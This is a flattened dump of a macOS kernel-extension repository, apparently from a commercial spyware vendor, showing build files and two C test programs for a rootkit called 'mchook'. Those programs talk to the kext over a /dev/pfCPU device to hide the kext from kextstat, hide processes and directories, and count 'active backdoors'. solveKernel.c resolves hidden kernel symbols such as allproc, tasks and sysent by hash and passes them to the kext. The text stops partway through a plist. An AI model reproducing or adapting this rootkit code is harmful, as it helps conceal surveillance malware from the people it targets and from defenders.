├── .gitignore ├── English.lproj └── InfoPlist.strings ├── Info.plist ├── Makefile ├── TestUnit ├── kextControl.c └── solveKernel.c ├── mchook-64-Info.plist ├── mchook.c ├── mchook.h ├── mchook.xcodeproj └── project.pbxproj ├── proc_internal.h ├── start.sh ├── stop.sh ├── structures.h └── task_internal.h /.gitignore: -------------------------------------------------------------------------------- 1 | # 2 | # MacOS 3 | # 4 | .DS_Store 5 | 6 | # 7 | # Xcode 8 | # 9 | *.xib 10 | *.mode* 11 | *.perspectivev3 12 | *.pbxuser 13 | build/* 14 | *.xcworkspace 15 | xcuserdata 16 | 17 | # 18 | # vim 19 | # 20 | *.swp 21 | 22 | # 23 | # var files 24 | # 25 | log 26 | *.icns 27 | *.tiff 28 | -------------------------------------------------------------------------------- /English.lproj/InfoPlist.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackedteam/driver-macos/4b03ca3ab4262af7b07a2313688dedb268cd3409/English.lproj/InfoPlist.strings -------------------------------------------------------------------------------- /Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | English 7 | CFBundleExecutable 8 | mchook 9 | CFBundleIconFile 10 | 11 | CFBundleIdentifier 12 | com.revenge.kext.machooker 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundlePackageType 16 | KEXT 17 | CFBundleSignature 18 | ???? 19 | CFBundleVersion 20 | 2.0 21 | OSBundleLibraries 22 | 23 | com.apple.kpi.bsd 24 | 10.4 25 | com.apple.kpi.libkern 26 | 10.4 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | xcodebuild 3 | 4 | clean: 5 | xcodebuild clean 6 | -------------------------------------------------------------------------------- /TestUnit/kextControl.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | #include 7 | 8 | #define BDOR_DEVICE "/dev/pfCPU" 9 | #define MCHOOK_MAGIC 31338 10 | #define MAX_USER 20 11 | #define DLENGTH 30 12 | 13 | // Used for the uspace<->kspace initialization 14 | #define MCHOOK_INIT _IOW( MCHOOK_MAGIC, 8978726, char [20]) 15 | // Show kext from kextstat -- DEBUG 16 | #define MCHOOK_SHOWK _IO( MCHOOK_MAGIC, 8349871) 17 | // Hide kext from kextstat 18 | #define MCHOOK_HIDEK _IO( MCHOOK_MAGIC, 4975738) 19 | // Hide given pid 20 | #define MCHOOK_HIDEP _IO( MCHOOK_MAGIC, 9400284) 21 | // Hide given dir/file name 22 | #define MCHOOK_HIDED _IOW( MCHOOK_MAGIC, 1998274, char [DLENGTH]) 23 | // Show Process -- DEBUG 24 | #define MCHOOK_SHOWP _IO( MCHOOK_MAGIC, 6839840) 25 | // Unregister userspace component 26 | #define MCHOOK_UNREGISTER _IOW( MCHOOK_MAGIC, 5739299, char [20]) 27 | // Returns the number of active backdoors 28 | #define MCHOOK_GET_ACTIVES _IOR(MCHOOK_MAGIC, 7489827, int) 29 | 30 | 31 | int main(int argc, char *argv[]) 32 | { 33 | int kext_fd = 0, ret = 0; 34 | int i = 0; 35 | const char username[] = "test"; 36 | 37 | printf("[-] Opening /dev entry\n"); 38 | kext_fd = open(BDOR_DEVICE, O_RDWR); 39 | 40 | // Initializing 41 | printf("[-] Initializing uspace<->kspace\n"); 42 | ret = ioctl(kext_fd, MCHOOK_INIT, username); 43 | printf("[-] Sleeping\n"); 44 | sleep(5); 45 | 46 | // Hiding DIRs 47 | printf("[-] Hiding DIRs\n"); 48 | ret = ioctl(kext_fd, MCHOOK_HIDED, "/Users/test/Desktop/antani1"); 49 | sleep(1); 50 | ret = ioctl(kext_fd, MCHOOK_HIDED, "/Users/test/Desktop/antani2"); 51 | sleep(1); 52 | ret = ioctl(kext_fd, MCHOOK_HIDED, "/Users/test/Desktop/antani3"); 53 | sleep(1); 54 | ret = ioctl(kext_fd, MCHOOK_HIDED, "/Users/test/Desktop/antani4"); 55 | sleep(1); 56 | ret = ioctl(kext_fd, MCHOOK_HIDED, "/Users/test/Desktop/dir1"); 57 | sleep(1); 58 | 59 | // Hide Process 60 | printf("[-] Hiding process\n"); 61 | ret = ioctl(kext_fd, MCHOOK_HIDEP, getpid()); 62 | 63 | // Keep test running 64 | printf("[-] Sleeping\n"); 65 | sleep(5); 66 | 67 | // Quit Process 68 | printf("[-] Unregistering uspace component from kspace\n"); 69 | ret = ioctl(kext_fd, MCHOOK_UNREGISTER, username); 70 | 71 | return 0; 72 | } 73 | -------------------------------------------------------------------------------- /TestUnit/solveKernel.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | #include 14 | #include 15 | #include 16 | 17 | #define SWAP_LONG(a) ( ((a) << 24) | \ 18 | (((a) << 8) & 0x00ff0000) | \ 19 | (((a) >> 8) & 0x0000ff00) | \ 20 | ((a) >> 24) ) 21 | 22 | #define BDOR_DEVICE "/dev/pfCPU" 23 | #define MCHOOK_MAGIC 31338 24 | #define MAX_USER 20 25 | #define MAX_USER_LENGTH 20 26 | #define DLENGTH 30 27 | 28 | // Used for the uspace<->kspace initialization 29 | #define MCHOOK_INIT _IOW(MCHOOK_MAGIC, 8978726, char [MAX_USER_LENGTH]) 30 | // Show kext from kextstat -- DEBUG 31 | #define MCHOOK_SHOWK _IO( MCHOOK_MAGIC, 8349871) 32 | // Hide kext from kextstat 33 | #define MCHOOK_HIDEK _IO( MCHOOK_MAGIC, 4975738) 34 | // Hide given pid 35 | #define MCHOOK_HIDEP _IOW(MCHOOK_MAGIC, 9400284, char [MAX_USER_LENGTH]) 36 | // Hide given dir/file name 37 | #define MCHOOK_HIDED _IOW(MCHOOK_MAGIC, 1998274, char [MAX_DIR_LENGTH]) 38 | // Show Process -- DEBUG 39 | #define MCHOOK_SHOWP _IO( MCHOOK_MAGIC, 6839840) 40 | // Unregister userspace component 41 | #define MCHOOK_UNREGISTER _IOW(MCHOOK_MAGIC, 5739299, char [MAX_USER_LENGTH]) 42 | // Returns the number of active backdoors 43 | #define MCHOOK_GET_ACTIVES _IOR(MCHOOK_MAGIC, 7489827, int) 44 | // Pass symbols resolved from uspace to kspace (not exported symbol snow) 45 | #define MCHOOK_SOLVE_SYM_32 _IOW(MCHOOK_MAGIC, 6483647, struct symbol_32) 46 | #ifdef __LP64__ 47 | #define MCHOOK_SOLVE_SYM_64 _IOW(MCHOOK_MAGIC, 6483648, struct symbol_64) 48 | #endif 49 | // Tell the kext to find sysent 50 | #define MCHOOK_FIND_SYS _IOW(MCHOOK_MAGIC, 4548874, struct os_version) 51 | 52 | typedef struct symbol_32 { 53 | uint32_t hash; 54 | uint32_t address; 55 | } symbol32_t; 56 | 57 | #ifdef __LP64__ 58 | typedef struct symbol_64 { 59 | uint64_t hash; 60 | uint64_t address; 61 | } symbol64_t; 62 | #endif 63 | 64 | typedef struct os_version { 65 | uint32_t major; 66 | uint32_t minor; 67 | uint32_t bugfix; 68 | } os_version_t; 69 | 70 | 71 | static unsigned int 72 | sdbm (unsigned char *str) 73 | { 74 | unsigned int hash = 0; 75 | int c; 76 | 77 | while ((c = *str++)) 78 | hash = c + (hash << 6) + (hash << 16) - hash; 79 | 80 | return hash; 81 | } 82 | 83 | #ifdef __LP64__ 84 | uint64_t 85 | findSymbolInFatBinary64(void *imageBase, unsigned int symbolHash) 86 | { 87 | #ifdef DEBUG 88 | infoLog(@"[ii] findSymbolInFatBinary64\n"); 89 | #endif 90 | 91 | if (imageBase == NULL) 92 | { 93 | return -1; 94 | } 95 | 96 | struct mach_header_64 *mh_header = NULL; 97 | struct load_command *l_command = NULL; 98 | struct nlist_64 *sym_nlist = NULL; 99 | struct symtab_command *sym_command = NULL; 100 | struct segment_command_64 *seg_command = NULL; 101 | struct fat_header *f_header = NULL; 102 | struct fat_arch *f_arch = NULL; 103 | 104 | char *symbolName = NULL; 105 | 106 | int offset, symbolOffset, stringOffset, x86Offset, i, found, nfat; 107 | 108 | unsigned int linkeditHash = 0xf51f49c4; // "__LINKEDIT" sdbm hashed 109 | unsigned int hash; 110 | 111 | offset = found = 0; 112 | f_header = (struct fat_header *)imageBase; 113 | 114 | offset += sizeof (struct fat_header); 115 | nfat = SWAP_LONG (f_header->nfat_arch); 116 | 117 | #ifdef DEBUG 118 | infoLog(@"[ii] magic: %x\n", f_header->magic); 119 | infoLog(@"[ii] nfat arch: %d\n", nfat); 120 | #endif 121 | 122 | for (i = 0; i < nfat; i++) 123 | { 124 | f_arch = imageBase + offset; 125 | int cpuType = SWAP_LONG(f_arch->cputype); 126 | 127 | if (cpuType == CPU_TYPE_X86_64) 128 | break; 129 | 130 | offset += sizeof (struct fat_arch); 131 | } 132 | 133 | if (f_arch == NULL) 134 | return -1; 135 | 136 | x86Offset = SWAP_LONG (f_arch->offset); 137 | #ifdef DEBUG 138 | printf ("[ii] x86_64 offset: %x\n", x86Offset); 139 | #endif 140 | 141 | offset = x86Offset; 142 | mh_header = (struct mach_header_64 *)(imageBase + offset); 143 | offset += sizeof (struct mach_header_64); 144 | 145 | #ifdef DEBUG 146 | infoLog(@"imageBase in findSymbolFat: %p\n", mh_header); 147 | #endif 148 | 149 | #ifdef DEBUG 150 | infoLog(@"[ii] ncmdsFat: %d\n", mh_header->ncmds); 151 | #endif 152 | 153 | for (i = 0; i < mh_header->ncmds; i++) 154 | { 155 | l_command = imageBase + offset; 156 | 157 | #ifdef DEBUG 158 | infoLog(@"[ii] cmdFat: %d\n", l_command->cmd); 159 | #endif 160 | 161 | if (l_command->cmd == LC_SEGMENT) 162 | { 163 | if (found) 164 | { 165 | offset += l_command->cmdsize; 166 | continue; 167 | } 168 | 169 | seg_command = imageBase + offset; 170 | 171 | #ifdef DEBUG 172 | infoLog(@"[ii] segNameFat: %s\n", seg_command->segname); 173 | #endif 174 | 175 | if (sdbm ((unsigned char *)seg_command->segname) == linkeditHash) 176 | found = 1; 177 | } 178 | else if (l_command->cmd == LC_SYMTAB) 179 | { 180 | sym_command = imageBase + offset; 181 | 182 | if (found) 183 | break; 184 | } 185 | 186 | offset += l_command->cmdsize; 187 | } 188 | 189 | if (sym_command != NULL) 190 | { 191 | symbolOffset = x86Offset + sym_command->symoff; 192 | stringOffset = x86Offset + sym_command->stroff; 193 | } 194 | else 195 | { 196 | return -1; 197 | } 198 | 199 | #ifdef DEBUG 200 | infoLog(@"[ii] offsetFat: %x\n", offset); 201 | infoLog(@"[ii] stringOffsetFat: %x\n", stringOffset); 202 | infoLog(@"[ii] nSymsFat: %d\n", sym_command->nsyms); 203 | #endif 204 | 205 | for (i = 0; i < sym_command->nsyms; i++) 206 | { 207 | sym_nlist = (struct nlist_64 *)(imageBase + symbolOffset); 208 | symbolOffset += sizeof (struct nlist_64); 209 | 210 | if (sym_nlist->n_un.n_strx == 0x0) 211 | { 212 | continue; 213 | } 214 | 215 | symbolName = (char *)(imageBase + sym_nlist->n_un.n_strx + stringOffset); 216 | hash = sdbm ((unsigned char *)symbolName); 217 | 218 | #ifdef DEBUG_VERBOSE 219 | printf ("[ii] SYMBOLFat: %s\n", symbolName); 220 | #endif 221 | if (hash == symbolHash) 222 | { 223 | #ifdef DEBUG 224 | printf ("[ii] Symbol Found\n"); 225 | printf ("[ii] SYMBOLFat: %s\n", symbolName); 226 | printf ("[ii] addressFat: %llx\n", sym_nlist->n_value); 227 | #endif 228 | 229 | return sym_nlist->n_value; 230 | } 231 | } 232 | 233 | return -1; 234 | } 235 | #endif 236 | 237 | unsigned int 238 | findSymbolInFatBinary (void *imageBase, unsigned int symbolHash) 239 | { 240 | #ifdef DEBUG 241 | printf("[ii] findSymbolInFatBinary!\n"); 242 | #endif 243 | 244 | if (imageBase == 0x0) 245 | { 246 | return -1; 247 | } 248 | 249 | struct mach_header *mh_header = NULL; 250 | struct load_command *l_command = NULL; 251 | struct nlist *sym_nlist = NULL; 252 | struct symtab_command *sym_command = NULL; 253 | struct segment_command *seg_command = NULL; 254 | struct fat_header *f_header = NULL; 255 | struct fat_arch *f_arch = NULL; 256 | 257 | char *symbolName = NULL; 258 | 259 | int offset, symbolOffset, stringOffset, x86Offset, i, found, nfat; 260 | 261 | unsigned int linkeditHash = 0xf51f49c4; // "__LINKEDIT" sdbm hashed 262 | unsigned int hash; 263 | 264 | offset = found = 0; 265 | f_header = (struct fat_header *)imageBase; 266 | 267 | offset += sizeof (struct fat_header); 268 | nfat = SWAP_LONG (f_header->nfat_arch); 269 | 270 | #ifdef DEBUG 271 | printf("[ii] magic: %x\n", f_header->magic); 272 | printf("[ii] nFatArch: %d\n", nfat); 273 | #endif 274 | 275 | //return -1; 276 | 277 | for (i = 0; i < nfat; i++) 278 | { 279 | f_arch = imageBase + offset; 280 | int cpuType = SWAP_LONG (f_arch->cputype); 281 | 282 | if (cpuType == 0x7) 283 | break; 284 | 285 | offset += sizeof (struct fat_arch); 286 | } 287 | 288 | x86Offset = SWAP_LONG (f_arch->offset); 289 | #ifdef DEBUG 290 | printf ("[ii] x86 offset: %x\n", x86Offset); 291 | #endif 292 | 293 | offset = x86Offset; 294 | mh_header = (struct mach_header *)(imageBase + offset); 295 | offset += sizeof (struct mach_header); 296 | 297 | #ifdef DEBUG 298 | printf("imageBase in findSymbolFat: %x\n", mh_header); 299 | #endif 300 | 301 | #ifdef DEBUG 302 | printf("[ii] ncmdsFat: %d\n", mh_header->ncmds); 303 | #endif 304 | 305 | for (i = 0; i < mh_header->ncmds; i++) 306 | { 307 | l_command = imageBase + offset; 308 | 309 | #ifdef DEBUG 310 | printf("[ii] cmdFat: %d\n", l_command->cmd); 311 | #endif 312 | 313 | if (l_command->cmd == LC_SEGMENT) 314 | { 315 | if (found) 316 | { 317 | offset += l_command->cmdsize; 318 | continue; 319 | } 320 | 321 | seg_command = imageBase + offset; 322 | 323 | #ifdef DEBUG 324 | printf("[ii] segNameFat: %s\n", seg_command->segname); 325 | #endif 326 | 327 | if (sdbm ((unsigned char *)seg_command->segname) == linkeditHash) 328 | found = 1; 329 | } 330 | else if (l_command->cmd == LC_SYMTAB) 331 | { 332 | sym_command = imageBase + offset; 333 | 334 | if (found) 335 | break; 336 | } 337 | 338 | offset += l_command->cmdsize; 339 | } 340 | 341 | symbolOffset = x86Offset + sym_command->symoff; 342 | stringOffset = x86Offset + sym_command->stroff; 343 | 344 | #ifdef DEBUG 345 | printf("[ii] offsetFat: %x\n", offset); 346 | printf("[ii] stringOffsetFat: %x\n", stringOffset); 347 | printf("[ii] nSymsFat: %d\n", sym_command->nsyms); 348 | #endif 349 | 350 | for (i = 0; i < sym_command->nsyms; i++) 351 | { 352 | sym_nlist = (struct nlist *)(imageBase + symbolOffset); 353 | symbolOffset += sizeof (struct nlist); 354 | 355 | if (sym_nlist->n_un.n_strx == 0x0) 356 | { 357 | continue; 358 | } 359 | 360 | symbolName = (char *)(imageBase + sym_nlist->n_un.n_strx + stringOffset); 361 | hash = sdbm ((unsigned char *)symbolName); 362 | 363 | #ifdef DEBUG_VERBOSE 364 | printf ("[ii] SYMBOLFat: %s\n", symbolName); 365 | #endif 366 | if (hash == symbolHash) 367 | { 368 | #ifdef DEBUG 369 | printf ("[ii] Symbol Found\n"); 370 | printf ("[ii] SYMBOLFat: %s\n", symbolName); 371 | printf ("[ii] addressFat: %x\n", sym_nlist->n_value); 372 | #endif 373 | return sym_nlist->n_value; 374 | } 375 | } 376 | 377 | return -1; 378 | } 379 | 380 | #ifdef __LP64__ 381 | 382 | int main() 383 | { 384 | int kernFD = 0; 385 | void *imageBase = NULL; 386 | char filename[] = "/mach_kernel"; 387 | struct stat sb; 388 | int filesize = 0; 389 | symbol64_t sym; 390 | 391 | int kext_fd = 0, ret = 0; 392 | int i = 0; 393 | const char username[] = "userleo2"; 394 | 395 | unsigned int kmod_hash = 0xdd2c36d6; // _kmod 396 | unsigned int nsysent_hash = 0xb366074d; // _nsysent 397 | unsigned int tasks_hash = 0xdbb44cef; // _tasks 398 | unsigned int allproc_hash = 0x3fd3c678; // _allproc 399 | unsigned int tasks_count_hash = 0xa3f77e7f; // _tasks_count 400 | unsigned int nprocs_hash = 0xa77ea22e; // _nprocs 401 | unsigned int tasks_threads_lock_hash = 0xd94f2751; // _tasks_threads_locks 402 | unsigned int proc_lock_hash = 0x44c085d5; // _proc_lock 403 | unsigned int proc_unlock_hash = 0xf46ca50e; // _proc_unlock 404 | unsigned int proc_list_lock_hash = 0x9129f0e2; // _proc_list_lock 405 | unsigned int proc_list_unlock_hash = 0x5337599b; // _proc_list_unlock 406 | unsigned int kext_lookup_with_tag_hash = 0xcf7000a8; // __ZN6OSKext21lookupKextWithLoadTagEj 407 | unsigned int io_recursive_lock_hash = 0x1f7127e3; // _IORecursiveLockLock 408 | 409 | printf("I'm x64\n"); 410 | 411 | kernFD = open(filename, O_RDONLY); 412 | if ( stat(filename, &sb) == -1 ) 413 | printf("err 1\n"); 414 | 415 | filesize = sb.st_size; 416 | printf("filesize: %d\n", filesize); 417 | 418 | if ((imageBase = mmap (0, filesize, PROT_READ | PROT_WRITE, 419 | MAP_PRIVATE, kernFD, 0)) == (caddr_t)-1) 420 | printf("err 2\n"); 421 | 422 | printf("file mapped @ 0x%lx\n", (unsigned long)imageBase); 423 | 424 | printf("[-] Opening /dev entry\n"); 425 | kext_fd = open(BDOR_DEVICE, O_RDWR); 426 | 427 | // Initializing 428 | printf("[-] Initializing uspace<->kspace\n"); 429 | ret = ioctl(kext_fd, MCHOOK_INIT, username); 430 | 431 | uint64_t antani = 0; 432 | antani = findSymbolInFatBinary64(imageBase, kmod_hash); 433 | printf("kmod @ 0x%lx\n", antani); 434 | sym.hash = kmod_hash; 435 | sym.address = antani; 436 | 437 | // Sending Symbols 438 | printf("[-] Sending symbols\n"); 439 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym); 440 | 441 | antani = findSymbolInFatBinary64(imageBase, nsysent_hash); 442 | sym.hash = nsysent_hash; 443 | sym.address = antani; 444 | printf("nsysent.hash = %lx, nsysent.hash: %lx\n", sym.hash, sym.address); 445 | // Sending Symbols 446 | printf("[-] Sending symbols\n"); 447 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym); 448 | 449 | antani = findSymbolInFatBinary64(imageBase, tasks_hash); 450 | printf("tasks @ 0x%lx\n", antani); 451 | sym.hash = tasks_hash; 452 | sym.address = antani; 453 | 454 | // Sending Symbols 455 | printf("[-] Sending symbols\n"); 456 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym); 457 | 458 | antani = findSymbolInFatBinary64(imageBase, allproc_hash); 459 | printf("allproc @ 0x%lx\n", antani); 460 | sym.hash = allproc_hash; 461 | sym.address = antani; 462 | 463 | // Sending Symbols 464 | printf("[-] Sending symbols\n"); 465 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym); 466 | 467 | antani = findSymbolInFatBinary64(imageBase, tasks_count_hash); 468 | sym.hash = tasks_count_hash; 469 | sym.address = antani; 470 | // Sending Symbols 471 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym); 472 | 473 | antani = findSymbolInFatBinary64(imageBase, nprocs_hash); 474 | sym.hash = nprocs_hash; 475 | sym.address = antani; 476 | // Sending Symbols 477 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym); 478 | 479 | antani = findSymbolInFatBinary64(imageBase, tasks_threads_lock_hash); 480 | sym.hash = tasks_threads_lock_hash; 481 | sym.address = antani; 482 | // Sending Symbols 483 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym); 484 | 485 | antani = findSymbolInFatBinary64(imageBase, proc_lock_hash); 486 | sym.hash = proc_lock_hash; 487 | sym.address = antani; 488 | // Sending Symbols 489 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym); 490 | 491 | antani = findSymbolInFatBinary64(imageBase, proc_unlock_hash); 492 | sym.hash = proc_unlock_hash; 493 | sym.address = antani; 494 | // Sending Symbols:1 495 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym); 496 | 497 | antani = findSymbolInFatBinary64(imageBase, proc_list_lock_hash); 498 | sym.hash = proc_list_lock_hash; 499 | sym.address = antani; 500 | // Sending Symbols 501 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym); 502 | 503 | antani = findSymbolInFatBinary64(imageBase, proc_list_unlock_hash); 504 | sym.hash = proc_list_unlock_hash; 505 | sym.address = antani; 506 | // Sending Symbols 507 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym); 508 | 509 | antani = findSymbolInFatBinary64(imageBase, kext_lookup_with_tag_hash); 510 | sym.hash = kext_lookup_with_tag_hash; 511 | sym.address = antani; 512 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym); 513 | printf("kext_lookup_with_tag: %lx\n", antani); 514 | 515 | antani = findSymbolInFatBinary64(imageBase, io_recursive_lock_hash); 516 | sym.hash = io_recursive_lock_hash; 517 | sym.address = antani; 518 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym); 519 | printf("io_recursive_lock: %lx\n", antani); 520 | 521 | 522 | 523 | munmap(imageBase, filesize); 524 | close(kernFD); 525 | 526 | os_version_t os_ver; 527 | os_ver.major = 10; 528 | os_ver.minor = 7; 529 | os_ver.bugfix = 3; 530 | 531 | // Telling kext to find sysent based on OS version 532 | printf("[-] Telling KEXT to find sysent\n"); 533 | ret = ioctl(kext_fd, MCHOOK_FIND_SYS, &os_ver); 534 | 535 | // Hide KEXT 536 | printf("[-] Hiding KEXT\n"); 537 | ret = ioctl(kext_fd, MCHOOK_HIDEK); 538 | 539 | 540 | // Hiding a simple Directory 541 | // printf("[-] Hiding Tests dir\n"); 542 | // ret = ioctl(kext_fd, MCHOOK_HIDED, "Tests"); 543 | 544 | // Hide Process 545 | // printf("[-] Hiding process\n"); 546 | // ret = ioctl(kext_fd, MCHOOK_HIDEP, username); 547 | 548 | // Unregister Process 549 | printf("[-] Unregistering uspace component from kspace\n"); 550 | ret = ioctl(kext_fd, MCHOOK_UNREGISTER, username); 551 | 552 | return 0; 553 | } 554 | #else 555 | 556 | int main() 557 | { 558 | int kernFD = 0; 559 | void *imageBase = NULL; 560 | char filename[] = "/mach_kernel"; 561 | struct stat sb; 562 | int filesize = 0; 563 | symbol32_t sym; 564 | 565 | int kext_fd = 0, ret = 0; 566 | int i = 0; 567 | const char username[] = "userleo2"; 568 | 569 | unsigned int kmod_hash = 0xdd2c36d6; // _kmod 570 | unsigned int nsysent_hash = 0xb366074d; // _nsysent 571 | unsigned int tasks_hash = 0xdbb44cef; // _tasks 572 | unsigned int allproc_hash = 0x3fd3c678; // _allproc 573 | unsigned int tasks_count_hash = 0xa3f77e7f; // _tasks_count 574 | unsigned int nprocs_hash = 0xa77ea22e; // _nprocs 575 | unsigned int tasks_threads_lock_hash = 0xd94f2751; // _tasks_threads_locks 576 | unsigned int proc_lock_hash = 0x44c085d5; // _proc_lock 577 | unsigned int proc_unlock_hash = 0xf46ca50e; // _proc_unlock 578 | unsigned int proc_list_lock_hash = 0x9129f0e2; // _proc_list_lock 579 | unsigned int proc_list_unlock_hash = 0x5337599b; // _proc_list_unlock 580 | unsigned int kext_lookup_with_tag_hash = 0xcf7000a8; // __ZN6OSKext21lookupKextWithLoadTagEj 581 | unsigned int io_recursive_lock_hash = 0x1f7127e3; // _IORecursiveLockLock 582 | 583 | 584 | kernFD = open(filename, O_RDONLY); 585 | if ( stat(filename, &sb) == -1 ) 586 | printf("err 1\n"); 587 | 588 | filesize = sb.st_size; 589 | printf("filesize: %d\n", filesize); 590 | 591 | if ((imageBase = mmap (0, filesize, PROT_READ | PROT_WRITE, 592 | MAP_PRIVATE, kernFD, 0)) == (caddr_t)-1) 593 | printf("err 2\n"); 594 | 595 | printf("file mapped @ 0x%lx\n", (unsigned long)imageBase); 596 | 597 | printf("[-] Opening /dev entry\n"); 598 | kext_fd = open(BDOR_DEVICE, O_RDWR); 599 | 600 | // Initializing 601 | printf("[-] Initializing uspace<->kspace\n"); 602 | ret = ioctl(kext_fd, MCHOOK_INIT, username); 603 | 604 | unsigned int antani = 0; 605 | antani = findSymbolInFatBinary(imageBase, kmod_hash); 606 | printf("kmod @ 0x%0x\n", antani); 607 | sym.hash = kmod_hash; 608 | sym.address = antani; 609 | 610 | // Sending Symbols 611 | printf("[-] Sending symbols\n"); 612 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym); 613 | 614 | antani = findSymbolInFatBinary(imageBase, nsysent_hash); 615 | printf("nsysent @ 0x%0x\n", antani); 616 | sym.hash = nsysent_hash; 617 | sym.address = antani; 618 | int *nsysent = NULL; 619 | nsysent = &antani; 620 | printf("nsysent = %d\n", *nsysent); 621 | 622 | // Sending Symbols 623 | printf("[-] Sending symbols\n"); 624 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym); 625 | 626 | antani = findSymbolInFatBinary(imageBase, tasks_hash); 627 | printf("tasks @ 0x%0x\n", antani); 628 | sym.hash = tasks_hash; 629 | sym.address = antani; 630 | 631 | // Sending Symbols 632 | printf("[-] Sending symbols\n"); 633 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym); 634 | 635 | antani = findSymbolInFatBinary(imageBase, allproc_hash); 636 | printf("allproc @ 0x%0x\n", antani); 637 | sym.hash = allproc_hash; 638 | sym.address = antani; 639 | 640 | // Sending Symbols 641 | printf("[-] Sending symbols\n"); 642 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym); 643 | 644 | antani = findSymbolInFatBinary(imageBase, tasks_count_hash); 645 | sym.hash = tasks_count_hash; 646 | sym.address = antani; 647 | // Sending Symbols 648 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym); 649 | 650 | antani = findSymbolInFatBinary(imageBase, nprocs_hash); 651 | sym.hash = nprocs_hash; 652 | sym.address = antani; 653 | // Sending Symbols 654 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym); 655 | 656 | antani = findSymbolInFatBinary(imageBase, tasks_threads_lock_hash); 657 | sym.hash = tasks_threads_lock_hash; 658 | sym.address = antani; 659 | // Sending Symbols 660 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym); 661 | 662 | antani = findSymbolInFatBinary(imageBase, proc_lock_hash); 663 | sym.hash = proc_lock_hash; 664 | sym.address = antani; 665 | // Sending Symbols 666 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym); 667 | 668 | antani = findSymbolInFatBinary(imageBase, proc_unlock_hash); 669 | sym.hash = proc_unlock_hash; 670 | sym.address = antani; 671 | // Sending Symbols:1 672 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym); 673 | 674 | antani = findSymbolInFatBinary(imageBase, proc_list_lock_hash); 675 | sym.hash = proc_list_lock_hash; 676 | sym.address = antani; 677 | // Sending Symbols 678 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym); 679 | 680 | antani = findSymbolInFatBinary(imageBase, proc_list_unlock_hash); 681 | sym.hash = proc_list_unlock_hash; 682 | sym.address = antani; 683 | // Sending Symbols 684 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym); 685 | 686 | antani = findSymbolInFatBinary(imageBase, kext_lookup_with_tag_hash); 687 | sym.hash = kext_lookup_with_tag_hash; 688 | sym.address = antani; 689 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym); 690 | printf("kext_lookup_with_tag: %08x\n", antani); 691 | 692 | antani = findSymbolInFatBinary(imageBase, io_recursive_lock_hash); 693 | sym.hash = io_recursive_lock_hash; 694 | sym.address = antani; 695 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym); 696 | printf("io_recursive_lock: %08x\n", antani); 697 | 698 | munmap(imageBase, filesize); 699 | close(kernFD); 700 | 701 | return 0; 702 | os_version_t os_ver; 703 | os_ver.major = 10; 704 | os_ver.minor = 7; 705 | os_ver.bugfix = 3; 706 | 707 | // Telling kext to find sysent based on OS version 708 | printf("[-] Telling KEXT to find sysent\n"); 709 | ret = ioctl(kext_fd, MCHOOK_FIND_SYS, &os_ver); 710 | 711 | printf("[-] Sleeping ...\n"); 712 | // sleep(5); 713 | 714 | /* 715 | 716 | // Hiding a simple Directory 717 | printf("[-] Hiding Tests dir\n"); 718 | ret = ioctl(kext_fd, MCHOOK_HIDED, "Tests"); 719 | 720 | // Hide Process 721 | printf("[-] Hiding process\n"); 722 | ret = ioctl(kext_fd, MCHOOK_HIDEP, username); 723 | 724 | printf("[-] Sleeping ...\n"); 725 | sleep(5); 726 | */ 727 | 728 | // Hide KEXT 729 | printf("[-] Hiding KEXT\n"); 730 | ret = ioctl(kext_fd, MCHOOK_HIDEK); 731 | // sleep(5); 732 | 733 | // Unregister Process 734 | printf("[-] Unregistering uspace component from kspace\n"); 735 | ret = ioctl(kext_fd, MCHOOK_UNREGISTER, username); 736 | 737 | printf("[-] Sleeping ...\n"); 738 | // sleep(5); 739 | 740 | return 0; 741 | } 742 | #endif 743 | -------------------------------------------------------------------------------- /mchook-64-Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | English 7 | CFBundleExecutable 8 | mchook 9 | CFBundleIconFile 10 | 11 | CFBundleIdentifier 12 | com.revenge.kext.machooker 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundlePackageType 16 | KEXT 17 | CFBundleSignature 18 | ???? 19 | CFBundleVersion 20 | 2.0 21 